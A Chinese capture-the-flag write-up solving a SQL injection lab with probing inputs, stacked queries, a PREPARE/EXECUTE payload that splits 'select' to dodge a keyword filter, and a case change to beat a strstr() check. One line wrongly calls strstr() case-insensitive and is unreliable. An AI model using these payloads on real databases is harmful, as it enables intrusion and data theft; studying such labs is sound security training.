知识点
- sql注入
- 堆叠注入
- sql预编译
- strstr()大小写绕过
启动靶机
启动靶机,查看题目
通过 ‘ 判断原SQL语句闭合类型,得到报错信息:
1.探测注入
1' 报错
1'# 正常且为True
1' and 1=1# 正常且为True
1' and 1=2# 正常且为False
可以得知存在注入,并且参数使用单引号闭合。
2.尝试获取列数
1' order by 1#
1' order by 2#
1' order by 3# 报错
得出列数为2
3.尝试获取数据库等基本信息
结果提示
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现存在过滤,许多关键词被禁
4.爆库名
通过测试发现存在堆叠注入,尝试爆出库名
-1';show databases;
5.爆表名
-1';show tables;
6.爆字段
-1';desc `1919810931114514`#
-1';desc `words`#
# 也可以用以下方式
-1';show columns from `1919810931114514`#
-1';show columns from `words`#
# 注意,表名要加反引号
7.查数据
上一步我们可以得知flag存在于supersqli数据库中的1919810931114514表的flag字段。
接下来要读取此字段内的数据,我们要执行的目标语句是:
select * from `1919810931114514`;
这里需要绕过select的限制,我们可以使用预编译的方式。
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
最终payload
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
结果为:
strstr($inject, "set") && strstr($inject, "prepare")
这里检测到了set和prepare关键词,但strstr()这个函数并不区分大小写,我们将其大写即可。
stristr()函数不区分大小写,是strstr()函数的忽略大小写版本
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
Set @sql = CONCAT('se','lect * from `1919810931114514`;');
Prepare stmt from @sql;
EXECUTE stmt;
#
得到flag:
相关链接:
SQL注入之堆叠注入https://blog.csdn.net/qq_45691294/article/details/107376284
预编译语句https://www.cnblogs.com/micrari/p/7112781.html